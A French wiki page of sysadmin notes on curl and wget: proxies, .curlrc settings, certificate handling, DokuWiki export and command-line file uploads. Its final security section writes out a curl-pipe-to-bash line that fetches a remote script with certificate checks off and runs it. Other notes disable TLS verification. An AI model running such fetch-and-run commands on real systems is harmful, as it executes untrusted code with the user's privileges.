{{tag>Brouillon Web TLS}} = Note curl wget == URL / URI Voir : * [[https://linuxfr.org/users/dascritch/journaux/cpu-ex0214-dissequons-une-url-seconde-partie|Disséquons une URL, seconde partie]] URI (Uniform Resource Identifier) : * Name : URN (Uniform Resource Name) * Location : URL (Uniform Resource Locator) === URI URL, URI and URN === URL En anglais, on la décrit ainsi : scheme : // authority / path ? query # hash Dans sa traduction française : plan : // autorité / chemin ? requête # fragment Enfin , comme on l'explique à notre manière : comment : // chez_qui / où ? question # extrait Source : https://cpu.dascritch.net/post/2023/10/12/Standard-%3A-%28Rappel%29-les-segments-d-une-URL Syntax of URL scheme: subdomain/domain-name.Top-level-domain/sub-folder == wget / curl curl as wget curl -O -L http://acme.org/download/plop.tar.gz Point wget to TOR/Privoxy: #export http_proxy=http://127.0.0.1:8118/ #export https_proxy=http://127.0.0.1:8118/ export ALL_PROXY=http://127.0.0.1:8118/ # Ou curl -x "http://127.0.0.1:8118" "http://gnu.org" == curl Voir aussi **HTTPie** Voir [[http://www.zem.fr/rest-api-json-curl/|Utiliser les REST API JSON avec cURL]] JSON curl -k https://aap-controller.local/api/v2/users/27/roles/ -X POST -u user:password --data-raw '{"id":534}' Préciser le host sans modifier les /etc/hosts curl -H "Host:www.acme.fr" 192.168.2.14:80 Meteo (Basé sur Wego) curl -4 wttr.in curl -H "Accept-Language: it" wttr.in/Rome /etc/hosts curl --resolve www.acme.fr:80:192.168.2.10 \ --resolve www.acme.fr:443:192.168.2.10 \ http://www.acme.fr Forcer SSLv3 Pour vérifier que ça ne marche pas, car ca chiffrement est obsolète ''-k'' Pour les certificat auto-signé Voir ''CURLOPT_SSLVERSION'' curl -3 -k --show-error --verbose https://acme.fr Erreur status code curl --show-error --verbose -I http://www.acme.fr curl --write-out "\nhttp_code=%{http_code}\ total_time=%{time_total}\n" Add GPG key curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - ''-f'' : Fail silently on server errors \\ ''-s'' : Silent or quiet mode. Don't show progress meter or error messages \\ ''-S'' : When used with -s, --silent, it makes curl show an error message if it fails \\ ''-L'' : If the server reports that the requested page has moved to a different location, this option will make curl redo the request on the new place. === Fichier config .curlrc ''.curlrc'' # Source : https://gist.github.com/v1m/f1d4751883f19c916515 # store the trace in curl_trace.txt file. beware that multiple executions of the curl command will overwrite this file --trace curl_trace.txt # store the header info in curl_headers.txt file. beware that multiple executions of the curl command will overwrite this file --dump-header curl_headers.txt #change the below referrer URL or comment it out entirely -e "https://www.google.com" #change the below useragent string. get your/other UA strings from http://www.useragentstring.com/ -A "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13" #some headers -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Upgrade-Insecure-Requests: 1" -H "Accept-Encoding: gzip, deflate, sdch" -H "Accept-Language: en-US,en;q=0.8" ''.curlrc'' Source https://github.com/necolas/dotfiles/blob/0d402c916f6e1118b20bd4befff863c1e4a2ee2d/shell/curlrc # Limit the time (in seconds) the connection to the server is allowed to take connect-timeout = 30 # Limit the time (in seconds) the whole operation is allowed to take # (prevents cURL from hanging due to slow networks or links going down) max-time = 300 # When following a redirect, automatically set the previous URL as referer referer = ";auto" # cURL default configuration file # http://curl.haxx.se/docs/manpage.html # Show error messages show-error # Show progress using a progress meter progress-bar # Send a fake UA string for the HTTP servers that sniff it user-agent = "Mozilla/5.0 Gecko" Upload HTTP POST files here: curl --proxy 127.0.0.1:4444 -F'file=@yourfile.png' http://0xff.i2p Or with status bar: curl --proxy 127.0.0.1:4444 -T yourfile.png http://0xff.i2p | tee Upload command output: command | curl -T - --proxy 127.0.0.1:4444 http://0xff.i2p Upload command output with stderr: command 2>&1 | curl -T - --proxy 127.0.0.1:4444 http://0xff.i2p Or you can shorten URLs: curl --proxy 127.0.0.1:4444 -F'shorten=http://example.com/some/long/url' http://0xff.i2p == wget Autres wget --no-cache --no-cookie ==== wget - preserve filename wget https://getsession.org/linux # Saving to: 'linux' wget --content-disposition https://getsession.org/linux # Saving to: 'session-desktop-linux-x86_64-1.8.6.AppImage' wget -O plop https://getsession.org/linux # Saving to: ‘plop' ==== Autres Fix curl client certificate error: curl: (58) unable to set private key file http://honglus.blogspot.fr/2012/03/fix-curl-client-certificate-error-curl.html 15 Practical Linux cURL Command Examples (cURL Download Examples) http://www.thegeekstuff.com/2012/04/curl-examples/ Download the webpage with wget. The wget options (-E, -k, etc.) are CASE SENSITIVE! The maximum depth to which the retrieval may descend is specified with the ‘-l’ option: wget -E -k -p -nd -r -l 1 -np -P http://site-to-be-mirrored.org wget : Ignore robots restrictions wget -e robots=off --wait 1 http://your.site.here Dossier répertoire directory wget http://www.claudiokuenzler.com/nagios-plugins/check_equallogic.sh -P /usr/lib/nagios/plugins/ A partir d'un fichier d'URL wget --no-proxy -i providers.txt -P /usr/share/terraform/providers/registry.terraform.io/hashicorp/vsphere === Notes exemple Dokuwiki wget wget --max-redirect=4 --output-document=siteexport.zip --post-data="id=dokuwiki&depth=0&depthType=0.0&do=siteexport&ens=dokuwiki&template=dokuwiki" https://acme.com/doku.php?id=doku.php --http-user=USER --http-passwd=PASSWD wget -E -r http://wiki.foo.tld/doku.php?id=start -l 0 --header="X-DokuWiki-Do: export_xhtml" curl curl -L --max-redirs 46 -o siteexport.zip -d "id=dokuwiki&depth=0&depthType=1.0&do=siteexport&ens=dokuwiki&exportbody=1&renderer=&template=dokuwiki" https://acme.com/doku.php?id=doku.php --anyauth --user USER:PASSWD === Notes Curl certificat auto-signé Pour ignoré le certificat curl -k https://www.acme.fr wget --no-check-certificate https://www.acme.fr Pour enregistrer le certificat et vérifier openssl s_client -showcerts -connect www.acme.fr:443 -servername www.acme.fr cacert.pem # ou curl -k -w %{certs} https://www.acme.fr > cacert.pem Tester curl --cacert cacert.pem https://www.acme.fr ou avec wget wget --ca-certificate=cert.pem https://www.acme.fr Voir [[Notes SSL/TLS HTTPS client OpenSSL|Installation de la CA sous GNU/Linux]] Enlever la CA rm /usr/local/share/ca-certificates/acme.fr.crt update-ca-certificates --fresh TODO : equivalement pour Redhat avec ''update-ca-trust'' ''.curlrc'' cacert=/home/jean/cert.pem Ou, à éviter mais possible ''.curlrc'' insecure https sous java Voir la paquet **ca-certificates-java** openssl s_client -showcerts -connect 192.168.4.13:5000 cert.crt # test curl --show-error --verbose --cacert cert.crt https://172.18.51.220:5000 cp cert.crt /usr/local/share/ca-certificates/acme.fr.crt update-ca-certificates /var/lib/dpkg/info/ca-certificates-java.postinst configure systemctl restart jenkins == Python import requests # No warn for bad https 'verify=False' requests.packages.urllib3.disable_warnings() # HTTP GET all users ids r = requests.get('https://aap.admin.acme.local/api/v2/users/', auth=(aap_user, aap_pass), verify=False) == Exemple HTTPS certificat client curl --verbose --show-error --tlsv1.2 --cert /etc/httpd/ssl/acme.fr.crt --key /etc/httpd/ssl/acme.fr.key https://acme.net/plop wget --debug --verbose --no-check-certificate --secure-protocol=TLSv1_2 --certificate=/etc/httpd/ssl/acme.fr.crt --private-key=/etc/httpd/ssl/acme.fr.key https://acme.net/plop (echo -ne "GET /plop HTTP/1.1\r\nHost: acme.net\r\n\r\n" ; cat ) |openssl s_client -connect acme.net:443 -servername acme.net -cert /etc/httpd/ssl/acme.fr.crt -key /etc/httpd/ssl/acme.fr.key curl --cacert keys/ca.crt --key keys/client1.key --cert keys/client1.crt https://pkiweb.lan wget --ca-certificate=keys/ca.crt --private-key=keys/client1.key --certificate=keys/client1.crt https://pkiweb.lan == Envoyer un fichier en ligne de commande (upload web) [[https://up.depado.eu/#curl|Goploader]] # Your file will be named myfile.txt curl -F file=@myfile.txt https://up.depado.eu/ # Your file will be named myamazingfile! curl -F name="myamazingfile!" -F file=@myfile.txt https://up.depado.eu/ # Reads data from stdin cat myfile.txt | curl -F name="stdin" -F file=@_ https://up.depado.eu/ == Sécurité Pipe bash https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ curl -sSk http://pluver.xqi.cc/setup.bash curl -sSk http://pluver.xqi.cc/setup.bash |bash